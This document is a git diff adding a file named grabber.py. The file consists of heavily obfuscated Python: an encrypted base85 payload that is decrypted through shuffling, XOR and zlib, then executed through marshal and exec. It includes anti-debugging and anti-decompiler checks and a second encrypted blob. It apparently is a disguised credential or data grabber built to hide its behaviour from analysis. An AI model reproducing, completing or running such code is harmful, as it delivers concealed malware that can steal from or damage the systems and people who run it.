diff --git a/grabber.py b/grabber.py new file mode 100644 index 0000000..ccea632 --- /dev/null +++ b/grabber.py @@ -0,0 +1,58 @@ +Q=__import__('base64');Kl=__import__('hashlib');xq2=__import__('zlib');CF=__import__('marshal');Bm=__import__('sys') +Z='-q*%c>uAf?Ae{hf8`tsWO#-gQ_uXxU;TdO1Vd^B?#N?ikw-b$%ouq_*BD39Ap3{|czte6y5G@1j%q@$QOfy-=_#FFg{=mZG_sYk}hr0&a1aQ8Fn!=6oAEqp1L_7q1YX~u7#Ivdy^m9}{rJ`T8F=|{lmx*4a>NU&feP*B{#%OCt@NlV(bSS*7P5aSQ)1ewd&qD*mJt!o!{;2VFhTya$j>~vhd*1M_b*bc1M>Ve?*qLF=epXsu=%!vtiK9BN7HtJ3smCaPSec6P5YW+hL$=qRy9vpl36w`NS9UpNh@Cusyv-WrUn~4)OI7%DJz9yv07D-T)RRIiKH|Tw>dLT8Kp2C&43;sFm#dW&1Jino&XHa68{nnfR`oAa{JNf)rM;jrH_J9u>%zI%m2`5H%9r~u`I^%`j#GMnqec=NP_|!iUJSOrJ7=oYx&ff0uJ}J869q#=COnp%3sjt%xbNKo(?wIqwA@i}JELOF;ujb9KG?@gWgG_(A^L8|zds`CdLt5nbz-|}@`Lu$ZvSRgsGrm#sh6}7*5a$(9ZBNRa`I&EF-D;&M$awtSX*|S);3i7g2o{%+ROiNoRK0@B$'+'Qbwgo?Iaw7y9G&#mrcaHU644Oi$$UzC42FV?60KlyTyxv5I1_prmuvEC93M2DO1%{g9~&)kc5Q+45n{6w|ARL!(U!x{yicIOqt0_4SPS}L^t{5F(H1Sw^FHwL(AV)>+e{T!-0Eo)sN{HtJ76l2PDODl{6N#FQPvq-2oqBl@7n+S41%bMUat0!;elL^+mgguW!z+#U04)G_?k}|^gT8b?VMJQaGBfw0iU~WnwFjmP=EDVRjSZWO4I$>IkmOXqok>yVXo!?fRi{OqQ@L!m9od*fHZrq;?HvjgUI-U>u&&}?lrawW6ZP(#-nb^y{LcA{UUb>o_}sx=96gz@`DP-x2OKjTnR!)b(U&FPB-uE-;z!wYrRPxA@sYeWc#*j5g{3%LDo%luLvP#QZ7Ru;9KnYeHF1t2wb%)R0xw$OJ)z}?iBU;C9&@2jS$^tpyZOY0~$t4E*b6%dt#rTh(I6gKSb$geDQ?(Cs-X6oCZ4yeMQh$*L1}mhrPriPnlR~Z5EXGGT$yr7Z$)7wNzrm6-SW?x__0aAmoU7dW>}a8B=a^e>y_~P~Wq`e6l--k8*remgEVcm+ebBUSnxzI*u0lTWiX+077nScP&nsKoxXBn_H$oC?-H*(;0(fG2WF;yIcH_hyZfaJ1@tCqaf2SD7AN$oF+uCH3@NX~EU*uUC6D0oL&Kac1=nJXn@&{#bz7!7;eQCdv|9dlQDL{hb8{kcK6XAdLEBJZ(M~T{A*2+iYo(hHEn`;ds|F7L;IAscc|J&zC;|AQDeiCY6G9qUDoVTAZ&U_f4PAN-w_}&m+Fp!ub}6)YLZ;ig*&YVhVkJD07(^Us^^=V0B{1@<1XJJ29dVSpmJfOtp3ULPMSuDNod@HEeB={$3C$JS1v*ZS@0qV(^>+F4w{eWP_'+'071*>t9*g_VHKgs7K4zf?~9tvqh>d9KKCgjES(3Co8`3*4`aT;2`#(vWiY0Z}t}9x{sT#o3SPDg#M_Bt5bdLCX`#x3&D_!P-tQHktdrf++9!?sz&~+ZWMP(;Je*K_LJuC_m5~~J4Y|xzlFuGRjf?+H{38D|FtrmhaM;_f$SIQ7lncEzjBhunla6K80qYF@imeA1qTTBW7WVbS~WOe5d*aNw!{@(O=})CkEd3({5=NFOi_caMmT=HcK+^-0(dH6x0mVzfvtxCv?N|1E)&s@i|P~xM0m~Ls`~OLhUjm=E?tW*XkO5tm*mnJ1@A2v^8q7LEhXSZsQV9>_jW`^S(piM(V{L%okY5H-nyy%v5v&T6b!!ZU4ICsERug@9)UqNh;i(c{B3~x!%V@rZru(5uVT%O-OJlG!$M&1?9&+A<7}4o??hNYZ5(xmNb+l3q2+`#@SKx}kpSdB!JH-743gf&J@z}#))T3Kb$}JH%`GstjDdF=zQ?IYd79u(%+DCu*LZuTqr1fOJRY4=>H>(kQ2)<*G{`AyC&z$sud*qUOy=dZkXb`mHXGK$#Kz>lyr9k+?-i^UN5eHdMW|(;L_AzmI!Xh-|E+YHuUlX}gouY80=Gk*D>tlij2|g9G4N`HG0D0EIXR~Jxn2k5NUj{=+?A^;H*UH-c*t2WA-33k@yGd&UZ5zL6q*_BwQr+;NHEa_JyRi`db%KcWdISu3T(kkh@DgA@!9Z59~=PhCX~86+D-npEv^2M=7*|L{ALnqd3NeLW2z?Dy#-gIfFT9RerugJt8Jb?NwZ%?m6;31;O28Lo)LO#`TD_C!vKe*iK!rnJpDkRfs02xG;fg7H2r(h>Sb|4HKK9h0Wr#p)XU-J>YaR4%!-pvFzR>%AG3k<-!5WG=(&+6{nB3qafpkbotwj$P>wRDYgwt*Rh9HS#hp~~q(@XGIL>O%6v8A_l|9C*8lnd?CZhQU(3iqT3IFy$RY)|Y!XTKlK(Z6!CLeOPnK(j4%70e;;YlMj-;+|)TGO(Gb;+KRteO60S(HbmW-1C*7hOUxv!l1nNqX3K_Z@KQl~CPIY+0>GTNs#^lKagGMUJyy=$lu2dWpS8!QKn;8U;qw|5Ty#UbsqPL&X$1HabQ(EU(#WoQU1Oi~{_>V$|Sf2$FtX&8eg~%VtMoh#~{j_gG}f-ydKuH6oq;d2WB?!m29Iu{c-n0j?A}ozxR%uoJ0$Xl|sncrzZ}DNMCJ&F05_YX!RmJIMiDF0)Y!ruL0czZ`QKuePu;YFSehCkS1znaugnBMNrQq#nmGE0jD-V-h~K;vX@R3zgLEYioBTe5(k4-5V30Hf_0={{~!OW+g%p=mgXctrOhm0HPwwoV^`aMcMXi7FO@g(R1=~9OlazazlW$|v6E4IgCi<7F+rW8(8E%tHXR;>ysDM^)c;1jnI5o!^L=9Lyj8)lZ#Ku3yVfN?9a%LE?tv|Y5j8e~y2D;X9!#YSujpRAHHVg1a96^ri${X*Tqxs`oUIOzgdOU-0C`<@o&H#%_Nk9x7tQYo;SnkcVC`>}WK4?Q)Kd)F1-~ib7I1YiaYfm@?Z*oT`#;wSE9<-z?RbIhCLJ$qtiGvV;dYe6KZt>692j*)8=l?q#WYDl-i!2!-r6uAI^4#v8F8tFQ*lsL)UFnZsUqx4dTc#`Jnl2C$!3qCuzi?zCCZ5DoKabi#g57w^S*)2zF-Cl_9zU!9xfj)D!&h+=#C#u73E`@Vt0;Ho@%9-vAI%mCB9kG4cvRx)!u%1dEoWn2Ej|MSUWUzDW-7uh)EvyUJtL@{Es*lmh~$bAWI!5F|5(%A^58-&H9G5(S*UbalAE%nbMh@eQh{6t=t}0U*YPbT69;Ep+>#dUI*nyawDA7BW5P?b)m?h?>2GBKebPDFyGrY+`!JTRj?NjG#{uDX#AVH%L$7!MQBOXeWP;NxSS0vNa)~eT4YaO={SF+A_-Ifz8F~$fmlPA9=|7zQ'+'?Z{&?KG)A^!W6SnOtGA36mlizn&FziM&J_VR9B`wnn^4t^?yI3c6nagOyy|$(`jV94+0uv+9(EWUV6`1Ht;ytEg-i?S!`&e~s3h80LRb{r2V3Nkvo(>Bb8s9;zfAse0Mr&hS+)OWV;2~}kdG@l#rXj!9YYtE^3MJpd@UgY8pq9wO`sm{9@(^0Fi*U!M@?PDsoJI`T#V#6Ycxw}?hR6fKScme&xueqVxOxA{L3G}fuuo$8{Blr?Z}Wi%~?aH28_R!sS4y9C7r6!^wYjF18oO8>2vB<}8An`4^4_6CkLrPxhEFmH>#7T$rYSS^qhFs$G_xY<^|3>aQU1jwP-T`DYSbL+Uj&4e?$AWlh`a<8hjPd>q18Kg^|JmhC{9L'+'|RQ^xv=GpACovR^uR)3DnR)x03LRy@&*~6i%l}_lI%5%P(|lwLhgYGAK~LaDJot5%46Wx?Zla<*ArOPj*R>E@e@Ey+g{NG-I=)ZwQ1b+G#={gYfXRBulKXpTfhE|(m?Gc*D9nMBEAtP|X{0n+c1LclxC>Ilv#d%rx#)=kT73r>=370jh~K8o8HlPrV$Bz#Y!#1ey8)ddulwp!AJYx%+?u2TWNEj{i*U?GXRRawQU+Z2;uC!p7`4p1|h&#au>SydsLu^RlY;1PslcsRdc8QrTwfqsP)txP7h@k~e{7bvuDUEBEK#;~BFpaDlo)0bx-M-Z$y-xdlg6INHHMahH@?UZZKCB)FqG6wO;o$e)`P8!&3TsaHl_S~$gLtR+Y}}XsAfLt4v5*=191`6FOsnfZl%}C@p?B+Q0~wAyD-uMfT7tiVhdIdb4fXYH~Hdw*{hxdO(gUpz=?Qq!Y`Y^_4+(S+z9!)1!p#sSOM->J^taW+%{!;a}M_4g#cilSi;f{RK&0{+XQ;H7O)|h&kf)CN)aI6`jQ*-eX)ow@Ybe6!QwoS;jHdMqxR4o+nzWRrjZ5fLPyR9W$NU!MXe&Hx8!z+?L*IvRd8u->fW}SYOss~A`CdFGa=f{n7-X^V~2XKc~U_~rCb3wQHL8t*ODO%;r7NR;QtQkj%R'+'i_3BvLY+hcL)1A^c|Gv$GE<_{gebg(**{PKRVZwVh`z13e<9yCgQKonbks){ILWnVTC-)(l0-KLq-P>3g*^nVR=lX6dOQ-g&N8mHm2X}!16xfmK3_57V-A@w~Yw^nm#cv64P3yJbO7EzjqvBLIs^ZK18F#gFQt^Fzv;c7CAA%FbgVEL(AU?G9-*7pKX#U_uVHm>>y)W&F=Z&@SLN?e%;ZTKm`i@M~8X}9y78%r$>NWf$VPLNNilnyvtI&7gK)3KF!zBV-_R5MCM$$AN8!XZ(ftp_0G&qfoK=4sC%=&3=zJJ10UqXCdcmakMDDdsynG+{SM?m+RDS?BH`R;$v~Y#sDU>sH>~0#5xI=-?|Eol+-@UzHFWX!fkmuoZIQo=Z^cy4+aD*Cyh=dE)ms2bVx@zCYAbSg_y~iD3>7{@X*ts5&UvD_4QWebT~jLSr+Du7gR7bPuN187{bL^IJ'+'ocJmoJHpk`G?igQIv^3-o$w8e$H9cvVu5htdEdT}x}+VfXy8lkI6`spH%jn7&KrZ(rATs`F@+y%ObAhWm#~_G#y3MrqU(9kaoYLUqeG1qUd%zMEZ5jL1p1BigT{#Pe)DHsQZk9R&;7vtN@CV-RggTDV*$)7o92B?;ysk=G);%_1lxWoXq>6OyA^n1oz_4Eb^RT($$tORC=YU2WQN@XO9aMCR`NW8DOh{CtW2Y<)(X?DPO`KQuoX6RWD(7c$QeXl>tDP(rft1iUagMZG1JZ~&i_bdh-0I?Ry_3fm>BnNKVVntjFy#mj;GSZN^g_F^w^iB6ulsQ2=+IJh_1q|4q6Q_YRabQBEVx1$kjR3Z(7|vH~N1twC%94mPBSqZ1Q8)T9OhhrRZPr*83(QJvc_>{^3w$PmksY_ed!_Q8xVM4O0(Bo2F'+'_=)r6$Vq*0+eoL*xni{TdxwAj7F%*|ze4tN;E%R2hknngVk(Efma?K?#j>0+s@HHMInfven)6b*uL}T5g8spy+e&!)$$7w8xe}rbsO9Mlc-_IiKNZ5-AN3o@Gg{f75b!US#j0e`sRL*eFU+6VT+aISYOSD9FyK5vs)?Y{eN)Wo}Y8l~gl2T{7MPk#OHo4J&pkUuCsuN9DsfCK{yYugCvFdzkSF^ie1=Mw*a?(0K}xzw1S#Q~zv(WmEXcNm7gXw;%idpXP;81GNV)){4X5p4?nW9C%M|1y2hogNRCvVA!~X{G1zMafFBYQl3+t)N>>?O&f!rkh|ELihrj8iUYL`H%)$jgTHm8zdBrKCwkR2pX4bmLLOQcexJ&LfCTJZTI8QJ?vH566vk|Bw`b>$?YK@cGEPCG=b-xL1BBb7oKy_~SztZJbS-ugH}*J|_PC!+c6)KtYaDp^I(o=#MAN0-ve3AQrmT?O%q&B@^MO(n#IJtGSCbQD^biawc)0>P3qo`*BCk1fC}%wWu>x;!Rd*cE?pSbaaA=BHs@^okLClRk8_$PtW&sta1rbB?#SY|x8Bm)m+=+_5u}DR^EA`(2Asd3B+0hVk3x0KuGOsX2cBJKy4tq~Ca*VPHt!kO?%t8O!1KHi*r;UZWYFNJL_^fMhZp@dEU7%gBcnCH-75QuU&W?8PjJKFLDw|&v!n{X8(W57x-f_NJFb@pBmmx#v@DPm<|ID6uyf~|_DP#R<;bsK=JvV3sDi=YGo(T0HYhSDCVviTDN92';Y='KMg'+'_Dx'+'K@Z'+'Ug'+'37*'+'9HL'+';04';g1D='rb0'+'0w{'+'V=*'+'FDO'+'->;'+'^!('+'WN|'+'9$='+'H+Y'+'y^#';BCK='324c17f8092a36840ee127f9ad92913a28f0ab227112443001cfe84093f8b8eb' +def BX(): + e=__import__('os').environ;M=Bm.modules + if e.get('OBFS_STRICT')=='1': + gt=Bm.gettrace();((gt is None) and all(k not in e for k in ('PYCHARM_HOSTED','PYTHONINSPECT')) and all(m not in M for m in ('pydevd','uncompyle6','decompiler'))) or (_ for _ in ()).throw(SystemExit(0)) + else: + (all(m not in M for m in ('uncompyle6','decompiler'))) or (_ for _ in ()).throw(SystemExit(0)) +def s(a): + (Kl.sha256(a).hexdigest()==BCK) or (_ for _ in ()).throw(RuntimeError(str((1<<31)-1))) +def Wzj(d,k): + o=bytearray(len(d));L=len(k);[o.__setitem__(i,(d[i]^k[i%L])) for i in range(len(d))];return bytes(o) +def f0d(b,k1,k2): + s=int.from_bytes(Kl.sha256(k1+k2).digest()[:4],'big')&0xFFFFFFFF;_a=bytearray(b);i=len(_a)-1 + while i>0: + s=(s*1664525+1013904223)&0xFFFFFFFF;j=s%(i+1);_a[i],_a[j]=_a[j],_a[i];i-=1 + i=1 + a=bytearray(b) + s=int.from_bytes(Kl.sha256(k1+k2).digest()[:4],'big')&0xFFFFFFFF;idx=list(range(len(a))) + for i in range(len(a)-1,0,-1): + s=(s*1664525+1013904223)&0xFFFFFFFF;idx[i],idx[s%(i+1)]=idx[s%(i+1)],idx[i] + r=bytearray(len(a)) + [r.__setitem__(idx[i],a[i]) for i in range(len(a))] + return bytes(r) +def k(P): + T=[0]*300;c=0;p=0;i=0;O=[] + while i0: + P[i]==91 and (d:=d+1);P[i]==93 and (d:=d-1);i+=1 + continue + elif o==93 and T[c]!=0: + d=1;i-=1 + while i>=0 and d>0: + P[i]==93 and (d:=d+1);P[i]==91 and (d:=d-1);i-=1 + continue + i+=1 + return ''.join(O) +def VwS(): + BX();q=Q.b85decode(Z.encode('ascii'));k1=Q.b85decode(Y.encode('ascii'));k2=Q.b85decode(g1D.encode('ascii')) + q=f0d(q,k1,k2);r=Wzj(q,k2);s=Wzj(r,k1);t=xq2.decompress(s);s(t);N={'__name__':'__main__','__file__':'','__package__':None,'__cached__':None} + exec(CF.loads(t),N) +VwS() + +rfT='gTZ+7v9p_viTAV->%J;9uq_f0yb{`}*Le74ANuBz%-8R{7#>OmL1+n=S;0kK3uE5UAcC6Tcye)X)w<0o@7Pz}%1tOXdKy4tjj|rS;Z?hp2#q@adf-2&+mY%AwJ&zIuYU~xSQYrrB{}~bgma6D8-xZ9+rXih`NaG#YXiw#c{xb%a!Y?@so`(|3c(GSNIC(KZs2%FpRMj0;(F)o9hA}={;x8iPH#Qk*=74(1iU~&7OjySJm)u#dtivJsc`TlvEQZ63%`VK$-4z_pKvZVd0QjKCnAM)WcxyOe*!3BRQ)M+KIn%ev!?0lOJG}Pk0=1NfATb+Bc)@|k9()8jIV?3=iA%FmQ5~Di`pyYt;Sk(2G2>opXGG;^l{0g`1LqHbk^LHMgCVKBrYb?+qhy6<91so={~ghOBBu&7g8lKS7Mh+uz!_y*D`7Nwl|`d-`p-xx*us1Ha`f1>jP3l&-4{*e%_@VW+ZD2dfgL3&*FrNuxs}pg+a<^aQ_9+CQ$%L(}RKSW{IUdy)KBeSzTNV#^!AvFSn|j2_Ael|Q!r4yWj`X4YwxxR{(2=W-2uW6y4A9N>%27y-J*i`mJ!$Z9#IB36B&gj922rbddvZlbT`nA8>%y%3nF(^uo6@3K6nmsh7#;!9#t`0YZQQ|_ib2(V-DZyOR8x1Bs5@grtmrW0|Cdv>L~YiEMCq#Y<2;fg8dBQ&JSkGgW$a7#h(*m(IxVx+hO2VL?Uw;bf9~eH$u}XMUdJ}YS`Kgxgs^x~kt*UQ{J6$6j)Z1{ysB6gbGbfOITVAUyhdQtnaPCfH^553j1v;_PPvQrWsvzC$-`C@n|yGdZFLL5a;>njd?|0qgH|uzsUvr=sY(`yn_FsWffEmSLvYry0u@X1Yp)#eC~^0o~-{m5?4ApBE&~DBd_G{Hv%Aw)h`XNj|Ya?Jsxam{$NFDcNlfQUYhS+_tT?|;%@Rujed?kT9HCpgU%+_yC8KA)3^?>_sYe3xwv!B4%_@1+ZMRICi8{ak656UcIL(;7o=*hztV3W6++jH+_i+ua*aur?ye#P*Aa0A&r^EE35581Jar?HNDt7JaG>B^L>Cl8ouPc_Yh+PZWv?uW35Hm_z>1$(qkrLiN349lN#5S9*HQj9F;h_D#*c5q{>QWxT*E+LTMiqN%PA6HmL}u4sFhO6gcCLO*-y6!r|00dRp#>kP?cF?AqxhOOl)cXPX0yPfFv9AY4c=l(nf4Sdz&MIudstsv8akpq@M}K_ayq=Vkt~<*iY^{o4HwI7fJb)6e%2q}c71%T3^3Ps`JQo~y!`h`P#UULaB_4r`S)yvZhb-+a)o_+%+8PPDQE!b(DV;JOBeq2%HEQ&0(wt1%&>xX+S3#kAZ>u*`9pTL{f4F%vaj9TX*>DPR6vl&IXER2zQ+{atV`ay!-UBY4)UIx_CL_V^v&hIL!g~xO$RJhkp|Wl8+xI_gDzQg>P_Bp$!nZ@-wXoD8eE*umN~z_p<>Dvt*sK{xesgs*T;-shkFtg-&cu%8)h0cJP%2%$kwWL{>0~g;#k(?tqD{Psa~4l*~007qygp(*5LIdU}jqaB^le;MR+)zdq>Mzqk#mTBPFJw}tV+TKNU#JYg8e+%aany?0ImLm0{<-UQG6T5RE|7&mc~yR)&1guc2+m*ZTnb2sE~;FG-#{DZaSDWB=J8DhCEVc_1Z^H`Br&<-d7=4ptaeuG>k-2*t3}frQz6c10ukiAs!rgWeAs~Fb2%|ftVAByNp*4oVK&L%Q>K>g55PZVob}6=2^}KZFbb}pzHXplcG{RMm|EviF$9ogI=^HJ+cPtTpF}0KZHAo*FG!RwZEr^cgF5f^rH6kxW(~=P)VB3P2mIv>yFS*Mip-D_*%`gQXJ+?jSSB&#zh4d->Q1)P4BdM|vw&mm6vp=jO+S(^C=DBxC9)>x6Bcp1>~5KegYAsu$)YcI!d`@@XikGDlnw{jUkBQa2v8HZ2@eMEX1~r7p*8Sh)v^_wbM{^lO>U3yf52W6-=b1+p`A)NYPE>Kw2o^L{s5ACekq+gx%mawz3J0LPb@e(00jC6?qn$~3jv@lAyi25EtXg3n;o#-@pGL!iPO|OP^!&m4nA_X#=U!KUYG1+vQvj!cn8{+1`o0gcQDA(ZoN6>~YDXZ>TR$=~%Uvc@l0u$)uLM7!=Y3UDyFy=aT5^6I#U>(^PccwjML*%^pY;u3DNR|bMvMOaHj00;HOKu7O9QTBB~=IdR`;wf`vbS*=|@ySzHs)$G%t-x&lDNr95Rg1o7Md`^Qz|iC4-{Gy96}Y=3SCv@5gtoY=jp9%G2N$q%LdA-?u$JTF!a`dadi(&E_xtVR5Mf^OUXlWGt*uPHx?0lA>)`(EB|`C*~K$;hOdvf~J#9v7bAT}#N>QUR@8>`f>fQHp}v`AS*hsCR5m#_rT&9lZQ8hGV#KBbpNXq4uCNo1wa%Bu`E@_eXR4QelCBHDG~S#@|T~kC^Dm9v3pdmN&kBnx`Dma+<6~aPx%CNj5nG$`G{UcyyinNhK2@8F&3+|^1EmqA-h{Q9S%gRQ%|2$!L@7P=oq@(E^KI+{cJ4N;LMM(QllnRqC4`&B=^Owl2j(}*mn7F>7kY{=g$pxi3aVpLrv7cff`_NVafdP0@v!YGGUiRluPa&E(Oz5I+{a#}pvm-yZ}LQ{fKir0}oc&eHEW!sQxf$j|G+3A!5g+Jd+oT%kkvoYA#F0#EqBWahet?6Z0LPQA<6-2gP{nSX9@1m8TLPN@XVPS1jKC0OWpRuc&n1#(n3?}->=>>V#$Syg3N;~_zs6e7B-r)QNX@v^rqY`N?`HKWN$07(1>vd@P~@{<+JD1-}O(g^lb?_`YdhykCq;u@kgFh4ejoP0-566VG7O|rP%CG%3;z6V5OzoSms6Z^6s*Y2I|QHS4b$gm3%*0(fQ@)uk^{7;<@GjC$u+X8V#ImZtr;NNy^a`OLU!FXN!-9sV~F~!GJ8E&2Q585!E=j#EWTX1THMagX}jK3<3u)wV;QuuB)HntwT>c+yzhT0)sMs9AEZoa*F1mxqbHaM7}&o9?0vJc?fQT82nKS$B1l?#|alCXBbe;oD`Am?=h@&x-+%+ZuC8Vlekw9Hprd=5oy5vtD)1GUUzyVnU%;~+Ip|gH@uKRQaG%U(GYa<5jZbL;E}b#On?+fvQpH`$O}_)MC0o5NRW2BK^iwm#rV3v;$7@C0(0x#XUY1Fm@F$z-2bs=+!5fixs(s_TTl`a{^kVpZ{^R+O1rqgW2~srQGr`RO9hK^COQbMV{uOs?4O9X}v8ikIM(Ma@igj;HtScj4I9DnD3Dyqb668V`%OQb|#E7Vd$R5f&I6EpO&b9+6)Q@6RNk=zWV2Kmw(n>jk#{Kr4py$@S~kX^L}0N3o!!cBx&f%q@^Gk5GLG6TJ4*0&B7WZ@`Po&*p;PUnuBC-yB{EOB^p~l5-5YI(|WiZ2(?-U9kx5EqJL2jneBwBK>%;C-e(A<^k2VlUyqCfS%Hv2O>z)dxh^>;McA-g&j?hl7UEkP0x|n`x^5$AVBZ=oy*^+hr>@Jr)yr)HZ~GgZ#=cN1S&4kZ2cEG*Y^t|%ZSdjSIzr39Bpd;llzag*S7NjomhDkm}d$g)D?vl>%MopRfv{ch*jCg0d85^C8x$uTYZu+bpO{8Osiz3o58g*J;a_JPh_9SJkgZL%?>E1*30S%=6O^seCgOFUA>M!bS0B9SnseJ`R+(;oNufnv7?GAU=GDG`%QFoW$rx@!W9g5?=p>gnZ#u3kc%5B0SS9z!<)=hXPA3~Y4c1&@&RyE^-tz&-r57hOZmV^SRPO$F19;rfqKHsf}JN9d&!R^Ab&smv*Y4zVH+7(N7szZJ3HCW{@8D$rNqdPdTMXNlKC@lF@ERhr2B%U>QhYalP0^IoVXleC*Zihw8z!elduAkwHcjl$*M2JcLAm3Dyz+B?l8FBOdF+4+wY^xKs&E8|q4drxqwR6PB4g_SSXtFWn0DPJjxV!oDO2+tJnvn%e!#dFz9zx{5OSX4($U4V~&q!$qgM0OlT>@qOujqLBIymfR5Ox^BYlE==efeKB+26cIq^@-Bu@jYw*qymW686H{JV6bHJiZ_a)R^NgNJBDtY<@rDrq7RH_rf)}>JWWpLi6NxRlpC{=W2T6eSZ-VW5kq1BEl6uwh69=_n1Fpq`JgGCE3ULBLMNw2a@)vZD5(hX9Rg$oW3CxDzSf>#Uh)Dfx(LH%`0v@G)xbJL|h9s6xbnM3n`0xNTHzf^s?nsFMMiNfh=1^SZF3E8>OaQIVzv?1ypn+8gVd^jN397B#mt{6d;yJN?2tKi7xdyIy>HhzRakb6qGd7HiKS;e~V2Qlup&>YTn72(Xdf{ruwd<#{#evKk+jDaKesnppAhH8od^9JT;$EyBwI*Qe}4-l2|WDM7wfFebM+o0#k}gmlli_u0qN8%Jf*BM8pir*)R}vI73XFYI2X78_TRU@}?q!VGHJs%c|<%QqJv8qukq-F^0yxh*4rGqp4bs9y7A>mGa9`q}E0)O|k1uwRFzFlg8x+)kfag+cC=Z$(K?qJI&L+9q?|NW!B5fet5=T!eSo4hB`#UGGncR~i1t60E-xcQ6p-N2RRxw#+3o%p#?8$*f3~kzCwHbf=$u;`p9lGf(}0;s!DF)cB)i<79wNodWz2_{2tEU66pdsLh0-XJyrJbQ>?U*^gx5+D4>;4DLBA+!{-oj#2!%ewql)2``^31epN>t*kgbR`c)HVj^qfauY2${!O`RKBOC@`Mg6Hj=3bS)I8ZEoKDmlE2(e6VVqo9!oiaG1ZlDbc!6~Z5p9&s`J8S2An~HOp?QR3ZH41sEYm^4ih4vVxZ@rqwop~#w16MZ`z{VE8o;9$_5a*un^h&aI^x(V3>Vh-pRsQiBYo8(4Nu}8>f5BIE`hlz>C;8>Zp*{)A*qC+%ok4tm;Aw%Fq|%N{9L*9y#~WJBLAoB@1(3+Qxj!t|L-6-N2W;E`H8RM+$BkQ*SnN}o=Siu#8e&d6M`!1VfETP!vsgU6n~5XsDl~!VIIdSST8506=I3JyUmAgGu*mBp`&Hv8(A~5>TCvDep(738=u_`^5G3ph8EFw2YCaW;b3d<&;sJhrr=oU(@lujtOL&TbZl?A?3;klUEmP1$ABYeSIQ}fgbjiW`=c$1&bDMF09Ai$Kl5sMvWPxFSG2(sR!cLg1}9+d}dlPozT&6#=m}rEjtlp!8>3pZ{~hsXkdRYxocGwntkM&59-62;P2P)t0T@<+Nq@IL(`^QW-5^a(4DxM>PfHT+i*(8PfU|XUW~Rcp4j1AZl47Gz?o%y1S&bGaib1H}J4THKmSV=I{E@0`DyF1sX&8Bf9-1Cn6R6recKN9M&GIN9v^e?wm1LmAfy4=@paIvGb8UqC?{2;#<%g_P34M2ZmHBcu|Zb)Vf!m7}cUrdq4#XP)bL&AtW)YwRs+ANLrf8e;%8K0uMUZ2^h`n?aU&rWtLFKYLbr~9?sSesTW(2YqT3U*W;`7vM`k%{>Pt!a5d9HXl31_S`m$pwXh+__tgv$AXAn7?j?IcFv7J(1Db*TU1;?=@YYh|GY!k#c`_OJo$dk5&EgBJ)WD}?iG%s11_d!?}YCi%mh+c@J2O++-e%5&Sn@F0@|0&t02`C)Tii-2%vc)?Cu>+?$ej~VaW-xNoLD0+fMX{jCmvpn+M*6{eu12IN3ZB-8xGOw|Y{vN3~|QZ11f*tS_AK*m(ZuQ&y7~gvDVL-&VIxK>>!2m7X-Zj*>W2p(LeAspHo;dvFY-M2j;8z=jG%XUD(k-`VEY(<*WMLgck^2zERl|h_DdzzL7bhhq*UMM|ri6PyzCZ6zUGAcx#RXXPJVO5%Y;oGs*x?zKk16^Dof~-U||#SK@IH|5(9oWjLpo=UztPH9QHz{j}2~aQ`WJb(V=zI}5u|kRQ3-;9xyFG)Y%>`#DbUo&#T@jvF`UC#s<%p^LqT8?&lOz$F%%vx-aZw0s{7&%L(1Y}~#X*k;SG<1F4;2SzWF?Y!Q{1;`$sOnoU29{!w9P-UTNIX=9op3Y7!^;F@rb0TEe}Fo!27!k~IpTMuy|kDRM}rZ=3z6S+#nQ5sY`OpPTSw2H-7l(LRIsfemnFdw=mV+cvl5HD(|jT8bHzE-WSku31jfKVSH_UNX*oqK6l`j2#K6=O4y6ZH-mBJem!(6uA-NC`ppWAJnt6Taz?8_zQTsfn2kT3a`Li4`eD5Ea{BN@!@ilVTBOTh36VMecyrT*dg}5S7`f2aOH?5NYS&P_Y?1AHZgQPwg4XjD*IL5zsn>@mefOEnE!L=j~wyIN-+@>~ZsCjofqTFa&c!97Hx4?c~{nUomvA(|2bO<6=pMQ5)Q2!62eLDKS5h^sYmtJAmk7uH-$un*3U185NCibux8Z5hlp+2dL=BB`fi`!e+mG-GGkRkUIIXaDz}P>F(oG~~y*>smOTgrF?}+E%@~K5}0^>2`MQfIwM~r!dV=!>XyQ7pvPsi!5d9-J>2Y+2To4AdwA!C2SZWVsPh!M&Q&`6*aJqUK4`z_>li5nlP;_X!c>R5h0TMrA7{Wl8JZfYuVl_7Hth&@Ydh@yb2QRz!^d`pL|fGLo;iaP|ijzbZ*YFbXVjbqZ3XsdWDdRwM70Yz~^@G_hsb`_2!?GocKzX7l*g;dDA*NZMSF#jM@$IWo@E+qCif4lu+4iugO|FZTQ_n;;!=d8+=PgnGbLLR#D|}nl6h(d;1M?h`g?7J|6wxsDs6lba5*AuI~g+q1WE6x$7cKX(wIG*)MLRVt?)zJaCXhNo|qcU0JvutbL@^KPNVo%3U}3dCY{N$cu>;Q?-$(R%(y7R!631V?suVz-|MMcN`Zcl0o%c_T4Y|KfE-b3CzJ-PLM|#Qw42F2;=NC;%-VGDvm+$=iEYgLr(|1vX`_l`;0ODh7=tIAYrnNCF)}>LzAkNO`nKHOho5I{G_WH$Bmo(p6RW+UIn}0I#_%~E&c}*=wH~@8k=e-n(Qc2eH1x22}4%d+3+eK9-mi(yGgx4R9w_X`buAG-#vVd`;4u+~{d|r0dqqLxfZ_`?jskXR5=94~jiVd}0VT?rqK@w*bFSR9!AAO5mUNkR%yuBz8%$xMk>wGJ$L31Mk13C%4`dq9t))W$LPcNzkC6$p%q&amGk=|ZM=)F9Yc2P>B!K69zulqiRvhc6FbEtzxP-(Vrpd83Ww3t>}1?X*F_70}My8d@cgRAgH(eInNJ!rsM0j(Ic~4`rbIzU9Qcv)%)Pa1&Unj#Vh}%s~0*^Mu?AU8k?SL`#MS?kA7o1qKA}~0)zE44Vf!AQ_b4GautT_*2vmw@7)wzSiOh4CLTZpysy@aqhH=GY8;Blr+%wGtp$v413G_5f|!~VEa|Ode^SXB&_a}ljRUfU@73j;&24fb7ile%LH&J0ko5UY^~SvcsR2f|v7uJPiRjV_AVw`?3ImWxyF?7SXLYEkWpmWZ>kldkT=F8Fr)N?WxxBW$9q-_x!SKKgYzpb_nA@|xY5DNl!fS;XTMqEl%F-cQupMjg?R&wsvA6?pCP5}R;iWbm{f!b>^%l$(`y$gV%{gP)NfkvvNK&>0qa7WJ$v{}If-PZ!c&R*m=S=Y$PWw9hS3XSel=t17U#%BWOdl4a)_)Lvjp^1hqu&Ps$9iGN0zlVbPPU@{c6@MDaD}zWj-&SZzW7qz8KFD=UJh&a^NX1nb9Np8+=}_6&HUc)c*u3m-?dB`2(qUfczkIq_xQHW4p`)+BT<5Ht0d=X4Ec`r{OVNh7pJCVYW?e=89qv5e>6InWa*E6)X